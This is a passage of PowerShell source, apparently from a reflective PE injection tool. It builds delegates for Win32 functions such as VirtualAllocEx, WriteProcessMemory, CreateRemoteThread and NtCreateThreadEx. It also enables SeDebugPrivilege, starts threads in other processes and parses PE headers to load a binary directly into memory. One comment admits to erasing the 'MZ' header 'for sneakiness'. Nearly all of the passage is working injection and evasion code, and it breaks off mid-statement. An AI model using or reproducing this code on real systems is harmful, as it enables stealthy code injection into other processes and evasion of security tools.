$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name 